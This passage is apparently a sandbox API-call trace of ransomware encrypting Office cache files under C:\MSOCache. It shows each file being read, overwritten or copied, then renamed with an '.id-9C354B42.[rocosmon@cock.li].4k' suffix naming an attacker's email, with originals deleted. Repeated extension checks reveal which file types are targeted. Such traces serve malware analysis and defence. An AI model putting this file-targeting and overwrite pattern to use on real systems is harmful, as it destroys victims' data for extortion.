	[0099.398] WriteFile (in: hFile=0x194, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.400] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0099.402] CloseHandle (hObject=0x194) returned 1
	[0099.403] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.403] lstrlenW (lpString=".doc") returned 4
	[0099.403] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.403] lstrlenW (lpString=".docx") returned 5
	[0099.403] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0099.403] lstrlenW (lpString=".pdf") returned 4
	[0099.404] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString=".xls") returned 4
	[0099.404] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString=".xlsx") returned 5
	[0099.404] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0099.404] lstrlenW (lpString=".ppt") returned 4
	[0099.404] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.404] lstrlenW (lpString=".zip") returned 4
	[0099.404] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString=".rar") returned 4
	[0099.404] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString=".bz2") returned 4
	[0099.404] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.404] lstrlenW (lpString=".7z") returned 3
	[0099.404] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.404] lstrlenW (lpString=".dbf") returned 4
	[0099.404] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.404] lstrlenW (lpString=".1cd") returned 4
	[0099.404] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.404] lstrlenW (lpString=".jpg") returned 4
	[0099.404] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.405] lstrlenW (lpString=".doc") returned 4
	[0099.405] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString=".docx") returned 5
	[0099.405] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0099.405] lstrlenW (lpString=".pdf") returned 4
	[0099.405] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString=".xls") returned 4
	[0099.405] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString=".xlsx") returned 5
	[0099.405] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0099.405] lstrlenW (lpString=".ppt") returned 4
	[0099.405] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.405] lstrlenW (lpString=".zip") returned 4
	[0099.405] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString=".rar") returned 4
	[0099.405] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString=".bz2") returned 4
	[0099.405] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.405] lstrlenW (lpString=".7z") returned 3
	[0099.405] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.405] lstrlenW (lpString=".dbf") returned 4
	[0099.405] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.405] lstrlenW (lpString=".1cd") returned 4
	[0099.405] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0099.406] lstrlenW (lpString=".jpg") returned 4
	[0099.406] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.406] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0099.406] lstrlenW (lpString="ProjectMUI.msi") returned 14
	[0099.500] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0100.431] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=2511872) returned 1
	[0100.470] CloseHandle (hObject=0x204) returned 1
	[0100.470] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020
	[0100.470] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.470] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0100.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0100.471] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0100.471] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.471] ReadFile (in: hFile=0x204, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.483] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.483] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.506] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.506] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.506] ReadFile (in: hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.754] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.754] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0100.773] SetEndOfFile (hFile=0x204) returned 1
	[0100.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0100.773] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.773] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.775] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.775] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.781] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.781] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.785] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0100.785] CloseHandle (hObject=0x204) returned 1
	[0100.785] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.785] lstrlenW (lpString=".doc") returned 4
	[0100.786] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0100.786] lstrlenW (lpString=".docx") returned 5
	[0100.786] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0100.786] lstrlenW (lpString=".pdf") returned 4
	[0100.786] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0100.786] lstrlenW (lpString=".xls") returned 4
	[0100.786] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0100.786] lstrlenW (lpString=".xlsx") returned 5
	[0100.786] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0100.786] lstrlenW (lpString=".ppt") returned 4
	[0100.786] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0100.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.786] lstrlenW (lpString=".zip") returned 4
	[0100.786] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0100.786] lstrlenW (lpString=".rar") returned 4
	[0100.786] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0100.786] lstrlenW (lpString=".bz2") returned 4
	[0100.786] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0100.786] lstrlenW (lpString=".7z") returned 3
	[0100.786] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0100.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.786] lstrlenW (lpString=".dbf") returned 4
	[0100.786] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0100.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.786] lstrlenW (lpString=".1cd") returned 4
	[0100.786] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0100.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.786] lstrlenW (lpString=".jpg") returned 4
	[0100.786] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0100.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.787] lstrlenW (lpString=".doc") returned 4
	[0100.787] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0100.787] lstrlenW (lpString=".docx") returned 5
	[0100.787] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0100.787] lstrlenW (lpString=".pdf") returned 4
	[0100.787] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0100.787] lstrlenW (lpString=".xls") returned 4
	[0100.787] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0100.787] lstrlenW (lpString=".xlsx") returned 5
	[0100.787] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0100.787] lstrlenW (lpString=".ppt") returned 4
	[0100.787] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0100.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.787] lstrlenW (lpString=".zip") returned 4
	[0100.787] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0100.787] lstrlenW (lpString=".rar") returned 4
	[0100.787] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0100.787] lstrlenW (lpString=".bz2") returned 4
	[0100.787] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0100.787] lstrlenW (lpString=".7z") returned 3
	[0100.787] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0100.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.787] lstrlenW (lpString=".dbf") returned 4
	[0100.787] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0100.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.788] lstrlenW (lpString=".1cd") returned 4
	[0100.788] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0100.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0100.788] lstrlenW (lpString=".jpg") returned 4
	[0100.788] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0100.788] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0100.788] lstrlenW (lpString="msvcr90.dll") returned 11
	[0100.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.017] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=655872) returned 1
	[0101.017] CloseHandle (hObject=0x1f0) returned 1
	[0101.017] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020
	[0101.017] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.017] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.018] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.018] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0101.041] GetLastError () returned 0x0
	[0101.041] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0xa0200, lpOverlapped=0x0) returned 1
	[0101.119] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xa0210, lpOverlapped=0x0) returned 1
	[0101.131] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.131] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0101.131] SetEndOfFile (hFile=0x1e4) returned 1
	[0101.132] CloseHandle (hObject=0x1e4) returned 1
	[0101.132] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.132] SetEndOfFile (hFile=0x1f0) returned 1
	[0101.139] CloseHandle (hObject=0x1f0) returned 1
	[0101.139] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.139] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1
	[0101.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.140] lstrlenW (lpString=".doc") returned 4
	[0101.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0101.140] lstrlenW (lpString=".docx") returned 5
	[0101.140] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0101.140] lstrlenW (lpString=".pdf") returned 4
	[0101.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0101.140] lstrlenW (lpString=".xls") returned 4
	[0101.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0101.140] lstrlenW (lpString=".xlsx") returned 5
	[0101.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0101.140] lstrlenW (lpString=".ppt") returned 4
	[0101.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0101.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.140] lstrlenW (lpString=".zip") returned 4
	[0101.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0101.140] lstrlenW (lpString=".rar") returned 4
	[0101.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0101.140] lstrlenW (lpString=".bz2") returned 4
	[0101.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0101.140] lstrlenW (lpString=".7z") returned 3
	[0101.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0101.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.140] lstrlenW (lpString=".dbf") returned 4
	[0101.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0101.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.141] lstrlenW (lpString=".1cd") returned 4
	[0101.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0101.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.141] lstrlenW (lpString=".jpg") returned 4
	[0101.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.141] lstrlenW (lpString=".doc") returned 4
	[0101.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString=".docx") returned 5
	[0101.141] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0101.141] lstrlenW (lpString=".pdf") returned 4
	[0101.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString=".xls") returned 4
	[0101.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString=".xlsx") returned 5
	[0101.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0101.141] lstrlenW (lpString=".ppt") returned 4
	[0101.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.141] lstrlenW (lpString=".zip") returned 4
	[0101.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString=".rar") returned 4
	[0101.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0101.141] lstrlenW (lpString=".bz2") returned 4
	[0101.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0101.141] lstrlenW (lpString=".7z") returned 3
	[0101.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0101.142] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.142] lstrlenW (lpString=".dbf") returned 4
	[0101.142] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0101.142] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.142] lstrlenW (lpString=".1cd") returned 4
	[0101.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0101.142] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74
	[0101.142] lstrlenW (lpString=".jpg") returned 4
	[0101.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0101.176] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0101.176] lstrlenW (lpString="osetupui.dll") returned 12
	[0101.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.177] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=191872) returned 1
	[0101.177] CloseHandle (hObject=0x1f0) returned 1
	[0101.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020
